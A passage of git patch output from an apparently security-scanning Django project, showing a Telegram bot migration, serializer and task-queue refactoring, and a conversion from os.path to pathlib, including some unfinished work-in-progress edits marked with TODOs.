self.app and self.app.bot else None + + def _get_app(self) -> Any: + if self.settings and self.settings.token: try: - return Updater(token=self.settings.token) + return ApplicationBuilder().token(self.settings.token).build() except (InvalidToken, Forbidden): logger.error("[Telegram] Authentication error") self.settings.token = None self.settings.save(update_fields=["token"]) except Exception: logger.error("[Telegram] Error creating updater") + + def _send_message( + self, chat: TelegramChat, message: str, reply_markup: Any = None + ) -> None: + if self.app and self.app.bot: + asyncio.run( + self.app.bot.send_message( + chat.chat_id, + text=message, + reply_markup=reply_markup, + parse_mode=ParseMode.MARKDOWN_V2, + ) + ) + + def _escape(self, value: str) -> str: + return escape_markdown(value, version=2) diff --git a/src/backend/platforms/telegram_app/management/__init__.py b/src/backend/platforms/telegram_app/management/__init__.py new file mode 100644 index 000000000..057243216 --- /dev/null +++ b/src/backend/platforms/telegram_app/management/__init__.py @@ -0,0 +1 @@ +'''Management commands.''' diff --git a/src/backend/platforms/telegram_app/management/commands/__init__.py b/src/backend/platforms/telegram_app/management/commands/__init__.py new file mode 100644 index 000000000..057243216 --- /dev/null +++ b/src/backend/platforms/telegram_app/management/commands/__init__.py @@ -0,0 +1 @@ +'''Management commands.''' diff --git a/src/backend/platforms/telegram_app/management/commands/telegram_bot.py b/src/backend/platforms/telegram_app/management/commands/telegram_bot.py new file mode 100644 index 000000000..a7d4c55e2 --- /dev/null +++ b/src/backend/platforms/telegram_app/management/commands/telegram_bot.py @@ -0,0 +1,12 @@ +from typing import Any + +from django.core.management.base import BaseCommand +from platforms.telegram_app.bot.bot import TelegramBot + + +class Command(BaseCommand): + help = "Deploy Telegram Bot" + bot = TelegramBot() + + def handle(self, *args: Any, **options: Any) -> None: + self.bot.deploy() diff --git a/src/backend/platforms/telegram_app/models.py b/src/backend/platforms/telegram_app/models.py index 27b0138ed..01290526e 100644 --- a/src/backend/platforms/telegram_app/models.py +++ b/src/backend/platforms/telegram_app/models.py @@ -1,6 +1,8 @@ from django.db import models +from django.db.models import Q from framework.models import BaseModel from rekono.settings import AUTH_USER_MODEL +from security.authorization.roles import Role from security.utils.input_validator import Regex, Validator from users.models import User @@ -28,10 +30,19 @@ class TelegramChat(BaseModel): chat_id = models.IntegerField(unique=True) creation = models.DateTimeField(auto_now_add=True) # One Time Password to link user account - otp = models.TextField(max_length=200, unique=True, blank=True, null=True) + otp = models.TextField(max_length=200, blank=True, null=True) otp_expiration = models.DateTimeField( default=User.objects.get_otp_expiration_time, blank=True, null=True ) + def is_auditor(self) -> bool: + return ( + self.user.groups.filter( + Q(name=str(Role.AUDITOR)) | Q(name=str(Role.ADMIN)) + ).exists() + if self.user + else False + ) + def __str__(self) -> str: return self.user.__str__() diff --git a/src/backend/platforms/telegram_app/notifications/__init__.py b/src/backend/platforms/telegram_app/notifications/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/platforms/telegram_app/notifications.py b/src/backend/platforms/telegram_app/notifications/notifications.py similarity index 53% rename from src/backend/platforms/telegram_app/notifications.py rename to src/backend/platforms/telegram_app/notifications/notifications.py index 71a3ee7a1..9f8965aea 100644 --- a/src/backend/platforms/telegram_app/notifications.py +++ b/src/backend/platforms/telegram_app/notifications/notifications.py @@ -5,26 +5,15 @@ from framework.platforms import BaseNotification from platforms.telegram_app.framework import BaseTelegram from platforms.telegram_app.models import TelegramChat -from platforms.telegram_app.templates import EXECUTION, FINDINGS, HEADER -from telegram.constants import ParseMode -from telegram.helpers import escape_markdown +from platforms.telegram_app.notifications.templates import EXECUTION, FINDINGS, HEADER from users.models import User -class Telegram(BaseTelegram, BaseNotification): +class Telegram(BaseNotification, BaseTelegram): enable_field = "telegram_notifications" def is_available(self) -> bool: - return bool(self.updater) - - def get_bot_name(self) -> str: - return self.updater.bot.username if self.is_available() else None - - def _send_message(self, chat: TelegramChat, message: str) -> None: - if self.is_available(): - self.updater.bot.send_message( - chat.chat_id, text=message, parse_mode=ParseMode.MARKDOWN_V2 - ) + return bool(self.app) def _notify_execution( self, users: List[User], execution: Execution, findings: List[Finding] @@ -38,25 +27,22 @@ def _notify_execution( .get("template", "") .format( { - k: escape_markdown( + k: self._escape( str(v) or "" if not isinstance(v, Finding) else v.__str__(), - version=2, ) for k, v in finding.__dict__.items() } ) ) message = EXECUTION.format( - project=escape_markdown(execution.task.target.project.name, version=2), - target=escape_markdown(execution.task.target.target, version=2), - tool=escape_markdown(execution.configuration.tool.name, version=2), - configuration=escape_markdown(execution.configuration.name, version=2), - status=escape_markdown(execution.status, version=2), - start=escape_markdown( - execution.start.strftime(self.date_format), version=2 - ), - end=escape_markdown(execution.end.strftime(self.date_format), version=2), - executor=escape_markdown(execution.task.executor.username, version=2), + project=self._escape(execution.task.target.project.name), + target=self._escape(execution.task.target.target), + tool=self._escape(execution.configuration.tool.name), + configuration=self._escape(execution.configuration.name), + status=self._escape(execution.status), + start=self._escape(execution.start.strftime(self.date_format)), + end=self._escape(execution.end.strftime(self.date_format)), + executor=self._escape(execution.task.executor.username), findings="\n\n".join( [ HEADER.format( @@ -74,7 +60,5 @@ def _notify_execution( def welcome_message(self, chat: TelegramChat) -> None: self._send_message( chat, - escape_markdown( - f"Welcome {chat.user.username}\! Your Rekono bot is ready", version=2 - ), + f"Welcome *{self._escape(chat.user.username)}*\! Your Rekono bot is ready", ) diff --git a/src/backend/platforms/telegram_app/templates.py b/src/backend/platforms/telegram_app/notifications/templates.py similarity index 100% rename from src/backend/platforms/telegram_app/templates.py rename to src/backend/platforms/telegram_app/notifications/templates.py diff --git a/src/backend/platforms/telegram_app/serializers.py b/src/backend/platforms/telegram_app/serializers.py index 12136bc76..5164887c1 100644 --- a/src/backend/platforms/telegram_app/serializers.py +++ b/src/backend/platforms/telegram_app/serializers.py @@ -5,7 +5,7 @@ from framework.fields import ProtectedSecretField from platforms.mail.notifications import SMTP from platforms.telegram_app.models import TelegramChat, TelegramSettings -from platforms.telegram_app.notifications import Telegram +from platforms.telegram_app.notifications.notifications import Telegram from rest_framework import status from rest_framework.exceptions import AuthenticationFailed from rest_framework.serializers import ModelSerializer, SerializerMethodField @@ -28,7 +28,9 @@ class Meta: fields = ("id", "bot", "token") def get_bot_name(self, instance: TelegramSettings) -> str: - return Telegram().get_bot_name() + telegram = Telegram() + telegram.initialize() + return telegram.get_bot_name() def is_available(self, instance: TelegramSettings) -> bool: return Telegram().is_available() @@ -38,9 +40,12 @@ class TelegramChatSerializer(ModelSerializer): class Meta: model = TelegramChat fields = ( + "id", "otp", "user", ) + read_only_fields = ("user",) + extra_kwargs = {"otp": {"write_only": True}} def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: attrs = super().validate(attrs) @@ -54,6 +59,7 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: raise AuthenticationFailed( "Invalid Telegram OTP", code=status.HTTP_401_UNAUTHORIZED ) + return attrs def create(self, validated_data: Dict[str, Any]) -> TelegramChat: validated_data["telegram_chat"].otp = None diff --git a/src/backend/processes/apps.py b/src/backend/processes/apps.py index ccaac6c1a..73e5e2740 100644 --- a/src/backend/processes/apps.py +++ b/src/backend/processes/apps.py @@ -7,7 +7,7 @@ class ProcessesConfig(BaseApp, AppConfig): name = "processes" - # fixtures_path = Path(__file__).resolve().parent / "fixtures" + fixtures_path = Path(__file__).resolve().parent / "fixtures" skip_if_model_exists = True def _get_models(self) -> List[Any]: diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 01a6c751e..a09b71267 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -181,7 +181,7 @@ }, "root": { "handlers": ["console", "file"], - "level": "WARNING", # "DEBUG" if DEBUG else "INFO", + "level": "DEBUG" if DEBUG else "INFO", "propagate": False, }, } diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index bd795cd38..8606aa77c 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -11,7 +11,7 @@ psycopg2-binary==2.9.6 pyjwt==2.7.0 python-magic==0.4.27 python-libnmap==0.7.3 -python-telegram-bot==20.4 +python-telegram-bot==20.6 pyyaml==6.0.0 requests==2.31.0 rq==1.15.1 diff --git a/src/backend/security/authentication/serializers.py b/src/backend/security/authentication/serializers.py index 6c36be009..9ad5908b3 100644 --- a/src/backend/security/authentication/serializers.py +++ b/src/backend/security/authentication/serializers.py @@ -11,8 +11,8 @@ class LoginSerializer(TokenObtainPairSerializer): def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - User.objects.invalidate_all_tokens(self.user) attrs = super().validate(attrs) + # TODO: Close all the active sessions before creating the new SMTP().login_notification(self.user) logger.info( f"[Security] User {self.user.id} has logged in", diff --git a/src/backend/security/authorization/permissions.py b/src/backend/security/authorization/permissions.py index 69ac4fdf6..8beab7f8f 100644 --- a/src/backend/security/authorization/permissions.py +++ b/src/backend/security/authorization/permissions.py @@ -74,7 +74,7 @@ def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: bool: Indicate if user is authorized to make this request or not """ project = obj.get_project() - return request.user in project.members.all() or not project + return not project or request.user in project.members.all() class OwnerPermission(BasePermission): @@ -94,7 +94,8 @@ def get_details(self, obj: Any) -> Tuple[Any, str, bool]: # pragma: no cover elif obj.__class__ == Step: return obj.process, "owner", True elif obj.__class__ == TelegramChat: - return obj, "user", "False" + return obj, "user", False + return None, "", False def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: """Check if current user can access an object based on HTTP method and creator user. diff --git a/src/backend/target_ports/serializers.py b/src/backend/target_ports/serializers.py index 4eaa4ace4..6ccfd1305 100644 --- a/src/backend/target_ports/serializers.py +++ b/src/backend/target_ports/serializers.py @@ -6,11 +6,12 @@ class TargetPortSerializer(ModelSerializer): """Serializer to manage target ports via API.""" - authentication = AuthenticationSerializer(many=False, read_only=True) + # TODO: Return serializer in READ ops and expect the ID for POST and PUT + # authentication = AuthenticationSerializer(many=False, required=False) class Meta: model = TargetPort - fields = ( # Target port fields exposed via API + fields = ( "id", "target", "port", diff --git a/src/backend/tasks/queues.py b/src/backend/tasks/queues.py index afd6b4b1d..f4c858809 100644 --- a/src/backend/tasks/queues.py +++ b/src/backend/tasks/queues.py @@ -11,6 +11,7 @@ from framework.queues import BaseQueue from input_types.models import InputType from processes.models import Step +from rq import Callback from rq.job import Job from tasks.models import Task from tools.models import Intensity @@ -24,24 +25,26 @@ def __init__(self) -> None: self.executions_queue = ExecutionsQueue() def enqueue(self, task: Task) -> Job: + input(type(self._scheduled_callback_as_func)) if task.scheduled_at: task.enqueued_at = task.scheduled_at job = self.queue.enqueue_at( task.scheduled_at, self.consume, task=task, - on_success=self._scheduled_callback, + on_success=Callback(self._scheduled_callback_as_func), ) logger.info( f"[Task] Task {task.id} will be enqueued at {task.scheduled_at}" ) elif task.scheduled_in and task.scheduled_time_unit: + delay = {task.scheduled_time_unit.lower(): task.scheduled_in} task.enqueued_at = timezone.now() + timedelta(**delay) job = self.queue.enqueue_in( - timedelta(**{task.scheduled_time_unit.lower(): task.scheduled_in}), + timedelta(**delay), self.consume, task=task, - on_success=self._scheduled_callback, + on_success=Callback(self._scheduled_callback_as_func), ) logger.info( f"[Task] Task {task.id} will be enqueued in {task.scheduled_in} {task.scheduled_time_unit}" @@ -49,7 +52,9 @@ def enqueue(self, task: Task) -> Job: else: task.enqueued_at = timezone.now() job = self.queue.enqueue( - self.consume, task=task, on_success=self._scheduled_callback + self.consume, + task=task, + on_success=Callback(self._scheduled_callback_as_func), ) logger.info(f"[Task] Task {task.id} has been enqueued") task.rq_job_id = job.id @@ -168,8 +173,16 @@ def _scheduled_callback( result.enqueued_at, self.consume, task=result, - on_success=self._scheduled_callback, + on_success=Callback(self._scheduled_callback_as_func), ) logger.info(f"[Task] Scheduled task {result.id} has been enqueued again") result.rq_job_id = job.id result.save(update_fields=["enqueued_at", "rq_job_id"]) + + def _scheduled_callback_as_func(self) -> None: + def _inner_scheduled_callback( + job: Any, connection: Any, result: Task, *args: Any, **kwargs: Any + ) -> None: + self._scheduled_callback(job, connection, result, *args, **kwargs) + + return _inner_scheduled_callback diff --git a/src/backend/tasks/serializers.py b/src/backend/tasks/serializers.py index a8c140900..b4dc51191 100644 --- a/src/backend/tasks/serializers.py +++ b/src/backend/tasks/serializers.py @@ -7,7 +7,7 @@ from targets.serializers import SimpleTargetSerializer from tasks.models import Task from tasks.queues import TasksQueue -from tools.enums import Intensity +from tools.enums import Intensity as IntensityEnum from tools.fields import IntegerChoicesField from tools.models import Intensity from tools.serializers import ConfigurationSerializer @@ -18,12 +18,13 @@ class TaskSerializer(ModelSerializer): """Serializer to manage tasks via API.""" - target = SimpleTargetSerializer(many=False) - process = SimpleProcessSerializer(many=False) - configuration = ConfigurationSerializer(many=False) - intensity = IntegerChoicesField(model=Intensity, required=False) + # TODO: return proper data, and expect just an ID + # target = SimpleTargetSerializer(many=False) + # process = SimpleProcessSerializer(many=False) + # configuration = ConfigurationSerializer(many=False) + intensity = IntegerChoicesField(model=IntensityEnum, required=False) executor = SimpleUserSerializer(many=False, read_only=True) - wordlists = WordlistSerializer(many=False, read_only=True) + # wordlists = WordlistSerializer(many=False, required=False) executions = ExecutionSerializer(many=False, read_only=True) class Meta: @@ -59,7 +60,7 @@ class Meta: def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: if not attrs.get("intensity"): - attrs["intensity"] = Intensity.NORMAL + attrs["intensity"] = IntensityEnum.NORMAL if attrs.get("configuration"): attrs["process"] = None if not Intensity.objects.filter( @@ -97,5 +98,6 @@ def create(self, validated_data: Dict[str, Any]) -> Task: Task: Created instance """ task = super().create(validated_data) - TasksQueue().enqueue(task) + # TODO: Fix enqueue errors + # TasksQueue().enqueue(task) return task diff --git a/src/backend/users/models.py b/src/backend/users/models.py index 97f88dd77..13c5d2d56 100644 --- a/src/backend/users/models.py +++ b/src/backend/users/models.py @@ -26,7 +26,7 @@ class RekonoUserManager(UserManager): """Manager for the User model.""" - def _generate_otp(self) -> str: + def generate_otp(self) -> str: return hash(generate_random_value(3000)) def get_otp_expiration_time(self) -> datetime: @@ -58,7 +58,7 @@ def invite_user(self, email: str, role: Role) -> Any: # Create new user including an OTP. The user will be inactive while invitation is not accepted user = User.objects.create( email=email, - otp=self._generate_otp(), + otp=self.generate_otp(), otp_expiration=self.get_otp_expiration_time(), is_active=None, ) @@ -122,7 +122,7 @@ def enable_user(self, user: Any) -> Any: Returns: Any: Enabled user """ - user.otp = self._generate_otp() # Generate its OTP + user.otp = self.generate_otp() # Generate its OTP user.otp_expiration = self.get_otp_expiration_time() # Set OTP expiration user.is_active = True user.save(update_fields=["otp", "otp_expiration", "is_active"]) @@ -161,7 +161,7 @@ def request_password_reset(self, user: Any) -> Any: Returns: Any: User after request password reset """ - user.otp = self._generate_otp() # Generate its OTP + user.otp = self.generate_otp() # Generate its OTP user.otp_expiration = self.get_otp_expiration_time() # Set OTP expiration user.save(update_fields=["otp", "otp_expiration"]) SMTP().reset_password(user) From 34b54f9efd30acd8ece5098735b79049df4d76eb Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 14 Nov 2023 19:30:37 +0100 Subject: [PATCH 027/141] Some Python syntax improvement --- src/backend/findings/filters.py | 150 ++++++++---------- src/backend/findings/models.py | 29 +++- .../platforms/defect_dojo/integrations.py | 17 +- src/backend/projects/serializers.py | 6 +- src/backend/rekono/config.py | 38 ++--- src/backend/rekono/settings.py | 17 +- src/backend/security/middleware.py | 21 ++- src/backend/security/utils/file_handler.py | 7 +- src/backend/security/utils/input_validator.py | 10 +- src/backend/settings/apps.py | 7 - src/backend/target_ports/models.py | 6 +- src/backend/targets/models.py | 2 +- src/backend/tools/executors/base.py | 27 ++-- src/backend/tools/executors/cmseek.py | 16 +- src/backend/tools/executors/gitleaks.py | 21 ++- src/backend/tools/models.py | 16 +- src/backend/tools/parsers/base.py | 21 +-- src/backend/users/models.py | 2 +- src/backend/users/serializers.py | 2 +- src/backend/users/views.py | 28 +--- src/backend/wordlists/apps.py | 2 +- src/backend/wordlists/models.py | 4 +- 22 files changed, 209 insertions(+), 240 deletions(-) diff --git a/src/backend/findings/filters.py b/src/backend/findings/filters.py index 38fe14d38..55c715f25 100644 --- a/src/backend/findings/filters.py +++ b/src/backend/findings/filters.py @@ -20,42 +20,36 @@ class OSINTFilter(FindingFilter): class Meta: model = OSINT - fields = FindingFilter.Meta.fields.copy() - fields.update( - { - "data": ["exact", "icontains"], - "data_type": ["exact"], - "source": ["exact", "icontains"], - } - ) + fields = { + **FindingFilter.Meta.fields.copy(), + "data": ["exact", "icontains"], + "data_type": ["exact"], + "source": ["exact", "icontains"], + } class HostFilter(FindingFilter): class Meta: model = Host - fields = FindingFilter.Meta.fields.copy() - fields.update( - { - "address": ["exact", "icontains"], - "os": ["exact", "icontains"], - "os_type": ["exact"], - } - ) + fields = { + **FindingFilter.Meta.fields.copy(), + "address": ["exact", "icontains"], + "os": ["exact", "icontains"], + "os_type": ["exact"], + } class PortFilter(FindingFilter): class Meta: model = Port - fields = FindingFilter.Meta.fields.copy() - fields.update( - { - "host": ["exact"], - "port": ["exact"], - "status": ["exact"], - "protocol": ["iexact"], - "service": ["exact", "icontains"], - } - ) + fields = { + **FindingFilter.Meta.fields.copy(), + "host": ["exact"], + "port": ["exact"], + "status": ["exact"], + "protocol": ["iexact"], + "service": ["exact", "icontains"], + } class PathFilter(FindingFilter): @@ -63,15 +57,13 @@ class PathFilter(FindingFilter): class Meta: model = Path - fields = FindingFilter.Meta.fields.copy() - fields.update( - { - "port": ["exact"], - "path": ["exact", "icontains"], - "status": ["exact"], - "type": ["exact"], - } - ) + fields = { + **FindingFilter.Meta.fields.copy(), + "port": ["exact"], + "path": ["exact", "icontains"], + "status": ["exact"], + "type": ["exact"], + } class TechnologyFilter(FindingFilter): @@ -79,16 +71,14 @@ class TechnologyFilter(FindingFilter): class Meta: model = Technology - fields = FindingFilter.Meta.fields.copy() - fields.update( - { - "port": ["exact"], - "name": ["exact", "icontains"], - "version": ["exact", "icontains"], - "description": ["exact", "icontains"], - "related_to": ["exact"], - } - ) + fields = { + **FindingFilter.Meta.fields.copy(), + "port": ["exact"], + "name": ["exact", "icontains"], + "version": ["exact", "icontains"], + "description": ["exact", "icontains"], + "related_to": ["exact"], + } class CredentialFilter(FindingFilter): @@ -97,17 +87,15 @@ class CredentialFilter(FindingFilter): class Meta: model = Credential - fields = FindingFilter.Meta.fields.copy() - fields.update( - { - "technology": ["exact"], - "technology__name": ["exact", "icontains"], - "technology__version": ["exact", "icontains"], - "email": ["exact", "icontains"], - "username": ["exact", "icontains"], - "secret": ["exact", "icontains"], - } - ) + fields = { + **FindingFilter.Meta.fields.copy(), + "technology": ["exact"], + "technology__name": ["exact", "icontains"], + "technology__version": ["exact", "icontains"], + "email": ["exact", "icontains"], + "username": ["exact", "icontains"], + "secret": ["exact", "icontains"], + } class VulnerabilityFilter(FindingFilter): @@ -116,20 +104,18 @@ class VulnerabilityFilter(FindingFilter): class Meta: model = Vulnerability - fields = FindingFilter.Meta.fields.copy() - fields.update( - { - "technology": ["exact"], - "technology__name": ["exact", "icontains"], - "technology__version": ["exact", "icontains"], - "name": ["exact", "icontains"], - "description": ["exact", "icontains"], - "severity": ["exact"], - "cve": ["exact", "contains"], - "cwe": ["exact", "contains"], - "osvdb": ["exact", "contains"], - } - ) + fields = { + **FindingFilter.Meta.fields.copy(), + "technology": ["exact"], + "technology__name": ["exact", "icontains"], + "technology__version": ["exact", "icontains"], + "name": ["exact", "icontains"], + "description": ["exact", "icontains"], + "severity": ["exact"], + "cve": ["exact", "contains"], + "cwe": ["exact", "contains"], + "osvdb": ["exact", "contains"], + } class ExploitFilter(FindingFilter): @@ -168,16 +154,14 @@ class ExploitFilter(FindingFilter): class Meta: model = Exploit - fields = FindingFilter.Meta.fields.copy() - fields.update( - { - "vulnerability": ["exact", "isnull"], - "vulnerability__severity": ["exact"], - "vulnerability__cve": ["exact"], - "vulnerability__cwe": ["exact"], - "vulnerability__osvdb": ["exact"], - "title": ["exact", "icontains"], - "edb_id": ["exact"], - "reference": ["exact", "icontains"], - } - ) + fields = { + **FindingFilter.Meta.fields.copy(), + "vulnerability": ["exact", "isnull"], + "vulnerability__severity": ["exact"], + "vulnerability__cve": ["exact"], + "vulnerability__cwe": ["exact"], + "vulnerability__osvdb": ["exact"], + "title": ["exact", "icontains"], + "edb_id": ["exact"], + "reference": ["exact", "icontains"], + } diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index 594c93e64..938715581 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -87,7 +87,9 @@ def defect_dojo(self) -> Dict[str, Any]: [field for field in [self.address, self.os_type] if field] ), "severity": Severity.INFO, - "date": self.last_seen.strftime(DefectDojoSettings.objects.first().date_format), + "date": self.last_seen.strftime( + DefectDojoSettings.objects.first().date_format + ), } def __str__(self) -> str: @@ -153,7 +155,9 @@ def defect_dojo(self) -> Dict[str, Any]: if self.host else description, "severity": Severity.INFO, - "date": self.last_seen.strftime(DefectDojoSettings.objects.first().date_format), + "date": self.last_seen.strftime( + DefectDojoSettings.objects.first().date_format + ), } def __str__(self) -> str: @@ -266,10 +270,11 @@ def parse( Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - output = self.port.parse(accumulated) if self.port else {} - output.update({InputKeyword.TECHNOLOGY.name.lower(): self.name}) + output = {InputKeyword.TECHNOLOGY.name.lower(): self.name} if self.version: output.update({InputKeyword.VERSION.name.lower(): self.version}) + if self.port: + output.update(self.port.parse(accumulated)) return output def defect_dojo(self) -> Dict[str, Any]: @@ -282,7 +287,9 @@ def defect_dojo(self) -> Dict[str, Any]: "severity": Severity.LOW, "cwe": 200, # CWE-200: Exposure of Sensitive Information to Unauthorized Actor "references": self.reference, - "date": self.last_seen.strftime(DefectDojoSettings.objects.first().date_format), + "date": self.last_seen.strftime( + DefectDojoSettings.objects.first().date_format + ), } def __str__(self) -> str: @@ -341,7 +348,9 @@ def defect_dojo(self) -> Dict[str, Any]: ), "cwe": 200, # CWE-200: Exposure of Sensitive Information to Unauthorized Actor "severity": Severity.HIGH, - "date": self.last_seen.strftime(DefectDojoSettings.objects.first().date_format), + "date": self.last_seen.strftime( + DefectDojoSettings.objects.first().date_format + ), } def __str__(self) -> str: @@ -410,7 +419,9 @@ def defect_dojo(self) -> Dict[str, Any]: "cve": self.cve, "cwe": int(self.cwe.split("-", 1)[1]) if self.cwe else None, "references": self.reference, - "date": self.last_seen.strftime(DefectDojoSettings.objects.first().date_format), + "date": self.last_seen.strftime( + DefectDojoSettings.objects.first().date_format + ), } def __str__(self) -> str: @@ -475,7 +486,9 @@ def defect_dojo(self) -> Dict[str, Any]: if self.vulnerability else Severity.MEDIUM, "reference": self.reference, - "date": self.last_seen.strftime(DefectDojoSettings.objects.first().date_format), + "date": self.last_seen.strftime( + DefectDojoSettings.objects.first().date_format + ), } def __str__(self) -> str: diff --git a/src/backend/platforms/defect_dojo/integrations.py b/src/backend/platforms/defect_dojo/integrations.py index 851ff8e78..ae20a091f 100644 --- a/src/backend/platforms/defect_dojo/integrations.py +++ b/src/backend/platforms/defect_dojo/integrations.py @@ -1,5 +1,5 @@ -import os from datetime import timedelta +from pathlib import Path as PathFile from typing import Any, Dict, List from django.utils import timezone @@ -31,17 +31,19 @@ def __init__(self) -> None: def _request( self, method: callable, url: str, json: bool = True, **kwargs: Any ) -> Any: - url = f"{self.settings.server}/api/v2{url}" - kwargs.update( + super()._request( + method, + f"{self.settings.server}/api/v2{url}", + json, { + **kwargs, "headers": { "User-Agent": "Rekono", "Authorization": f"Token {self.settings.api_token}", }, "verify": self.settings.tls_validation, - } + }, ) - super()._request(method, url, json, **kwargs) def is_available(self) -> bool: if not self.settings.server or not self.settings.api_token: @@ -202,8 +204,9 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non engagement_id = sync.engagement_id else: return - if execution.configuration.tool.defect_dojo_scan_type and os.path.isfile( - execution.output_file + if ( + execution.configuration.tool.defect_dojo_scan_type + and PathFile(execution.output_file).is_file() ): new_import = self._import_scan( engagement_id, execution, [self.settings.tag] diff --git a/src/backend/projects/serializers.py b/src/backend/projects/serializers.py index e92bf59e0..59b4a0649 100644 --- a/src/backend/projects/serializers.py +++ b/src/backend/projects/serializers.py @@ -2,6 +2,7 @@ from typing import Any, Dict from django.db import transaction +from django.shortcuts import get_object_or_404 from framework.fields import TagField from platforms.defect_dojo.serializers import DefectDojoSyncSerializer from projects.models import Project @@ -77,6 +78,7 @@ def update(self, instance: Project, validated_data: Dict[str, Any]) -> Project: Returns: Project: Updated instance """ - user = User.objects.get(pk=validated_data.get("user"), is_active=True) - instance.members.add(user) + instance.members.add( + get_object_or_404(User, pk=validated_data.get("user"), is_active=True) + ) return instance diff --git a/src/backend/rekono/config.py b/src/backend/rekono/config.py index 01dbfcf83..3d843a129 100644 --- a/src/backend/rekono/config.py +++ b/src/backend/rekono/config.py @@ -11,13 +11,18 @@ class RekonoConfig: def __init__(self) -> None: self.testing = "test" in sys.argv self.base_dir = Path(__file__).resolve().parent.parent - self.home = self._get_home() - self.reports = os.path.join(self.home, "reports") - self.wordlists = os.path.join(self.home, "wordlists") - self.logs = os.path.join(self.home, "logs") - self._create_missing_directories([self.reports, self.wordlists, self.logs]) + self.home = ( + self.base_dir / "testing" / "home" + if self.testing + else Path(self._get_config(Property.REKONO_HOME)) + ) + self.reports = self.home / "reports" + self.wordlists = self.home / "wordlists" + self.logs = self.home / "logs" + for path in [self.home, self.reports, self.wordlists, self.logs]: + path.mkdir(exist_ok=True) self.config_file = self._get_config_file() - with open(self.config_file, "r") as file: + with self.config_file.open("r") as file: self._config_properties = yaml.safe_load(file) for property in Property: if not hasattr(self, property.name.lower()) or not getattr( @@ -25,33 +30,18 @@ def __init__(self) -> None: ): setattr(self, property.name.lower(), self._get_config(property)) - def _get_config_file(self) -> str: + def _get_config_file(self) -> Path: for filename in [ "config.yaml", "config.yml", "rekono.yaml", "rekono.yml", ]: - path = os.path.join(self.home, filename) - if os.path.isfile(path): + path = self.home / filename + if path.is_file(): break return path - def _get_home(self) -> str: - if self.testing: - home = os.path.join(self.base_dir, "testing", "home") - self._create_missing_directories([home]) - else: - home = self._get_config(Property.REKONO_HOME) - if not os.path.isdir(home): - home = str(self.base_dir.parent) - return home - - def _create_missing_directories(self, directories: List[str]) -> None: - for directory in directories: - if not os.path.isdir(directory): - os.mkdir(directory) - def _get_config(self, property: Property) -> Any: default_value = value = property.value[2] if property.value[1]: diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index a09b71267..0ed551674 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -10,7 +10,6 @@ https://docs.djangoproject.com/en/4.2/ref/settings/ """ -import os from datetime import timedelta from typing import Any, Dict @@ -87,7 +86,7 @@ TEMPLATES = [ { "BACKEND": "django.template.backends.django.DjangoTemplates", - "DIRS": [os.path.join(BASE_DIR, "notifications", "mail", "templates")], + "DIRS": [BASE_DIR / "notifications" / "mail" / "templates"], "APP_DIRS": True, "OPTIONS": { "context_processors": [ @@ -172,17 +171,19 @@ }, "file": { "class": "logging.handlers.RotatingFileHandler", - "filename": os.path.join(CONFIG.logs, "rekono.log"), + "filename": CONFIG.logs / "rekono.log", "maxBytes": 50 * 1024 * 1024, # Max. 50 MB per file "backupCount": 10, "formatter": "rekono", "filters": ["rekono"], }, }, - "root": { - "handlers": ["console", "file"], - "level": "DEBUG" if DEBUG else "INFO", - "propagate": False, + "loggers": { + "root": { + "handlers": ["console", "file"], + "level": "DEBUG" if DEBUG else "INFO", + "propagate": False, + } }, } @@ -322,7 +323,7 @@ # https://docs.djangoproject.com/en/4.2/howto/static-files/ STATIC_URL = "static/" -STATIC_ROOT = os.path.join(CONFIG.home, "static") +STATIC_ROOT = CONFIG.home / "static" # Default primary key field type # https://docs.djangoproject.com/en/4.2/ref/settings/#default-auto-field diff --git a/src/backend/security/middleware.py b/src/backend/security/middleware.py index c29d0f28a..66154f2ec 100644 --- a/src/backend/security/middleware.py +++ b/src/backend/security/middleware.py @@ -1,5 +1,6 @@ import logging -from typing import Any, ItemsView +from dataclasses import dataclass +from typing import Any from rekono.settings import CONFIG from rest_framework import status @@ -7,7 +8,7 @@ from rest_framework.request import HttpRequest from rest_framework.response import Response -logger = logging.getLogger() # Rekono logger +logger = logging.getLogger() CSP = { "/admin": ( @@ -53,16 +54,20 @@ } +@dataclass class SecurityMiddleware: """Security middleware that manages all HTTP requests and responses.""" - def __init__(self, get_response: Any) -> None: - """Middleware constructor. + get_response: Any - Args: - get_response (Any): HTTP request processor - """ - self.get_response = get_response + # TODO: Remove + # def __init__(self, get_response: Any) -> None: + # """Middleware constructor. + + # Args: + # get_response (Any): HTTP request processor + # """ + # self.get_response = get_response def _get_forwarded_address(self, request: HttpRequest) -> str: x_forwarded_for = request.META.get("HTTP_X_FORWARDED_FOR") diff --git a/src/backend/security/utils/file_handler.py b/src/backend/security/utils/file_handler.py index 74e23ebb8..f1b034b5c 100644 --- a/src/backend/security/utils/file_handler.py +++ b/src/backend/security/utils/file_handler.py @@ -1,6 +1,5 @@ import hashlib import logging -import os import uuid from pathlib import Path from typing import Any, List, Tuple @@ -9,7 +8,7 @@ from django.core.exceptions import ValidationError from rekono.settings import CONFIG -logger = logging.getLogger() # Rekono logger +logger = logging.getLogger() class FileHandler: @@ -65,9 +64,9 @@ def validate_filepath_checksum(self, filepath: str, expected_checksum: str) -> b return checksum == expected_checksum def store_file(self, in_memory_file: Any) -> Tuple[str, str, int]: - path = os.path.join(CONFIG.wordlists, f"{str(uuid.uuid4())}.txt") + path = CONFIG.wordlists / f"{str(uuid.uuid4())}.txt" checksum = 